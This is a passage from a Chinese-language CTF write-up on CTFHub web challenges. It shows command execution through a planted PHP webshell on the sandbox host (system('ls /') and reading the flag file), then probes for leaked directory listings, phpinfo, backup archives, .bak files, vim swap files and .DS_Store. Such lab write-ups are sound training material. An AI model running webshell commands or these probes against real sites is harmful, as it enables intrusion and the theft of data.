执行过之后,就写入了feng.php。这时候,如果你通过?url=127.0.0.1/feng.php进行命令执行,会有玄学问题。我不知道是不是我url的问题,反正我这里出现了玄学问题。
因此直接访问feng.php,然后就是命令执行:

http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("ls /");

在这里插入图片描述

http://challenge-88a3757f316234ba.sandbox.ctfhub.com:10080/feng.php?feng=system("cat /flag_6fb66dcb5b32fff57ef6f5bf213f12e5");

在这里插入图片描述

----------信息泄露前半部分----------

目录遍历

CTFHUB-WEB_第135张图片
CTFHUB-WEB_第136张图片
点得去找就可以找到一个flag.txt

PHPINFO

点击进去找到flag
CTFHUB-WEB_第137张图片

当然也可以ctrl+f查找
CTFHUB-WEB_第138张图片

备份文件下载

网站源码
CTFHUB-WEB_第139张图片
大概猜测到是要我们解压压缩包,通过和下面的网站源码备份文件名搭配寻找flag,前两个是linux里的命令,然后我使用的是zip
一个个去试
CTFHUB-WEB_第140张图片
CTFHUB-WEB_第141张图片
CTFHUB-WEB_第142张图片
在这里插入图片描述
bak文件
在这里插入图片描述
这句话里提到了index.php 而且题目也说了 bak,于是就想到了php的备份文件 后缀就是以bak结尾的,于是尝试一下去看看
在这里插入图片描述
CTFHUB-WEB_第143张图片

vim缓存

vim会自动生成备份文件和临时文件,如果程序正常退出,临时文件会自动删除,如果意外退出就会保存,文件名为.filename.swp(第一次产生文件的后缀名为.swp;再次意外退出产生文件的后缀名为.swo;第三次产生的后缀名为.swn)
CTFHUB-WEB_第144张图片

在地址栏加上**/.index.php.swp**(不知道为什么我这里要多加一点),将文件保存下来
CTFHUB-WEB_第145张图片
将保存的文件用notepad++打开就可以得到flag了
CTFHUB-WEB_第146张图片
.DS_Store
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
CTFHUB-WEB_第147张图片
下载到一个文件
在这里插入图片描述
在源码后面添加,得到flag
在这里插入图片描述

你可能感兴趣的:(web做题记录,web)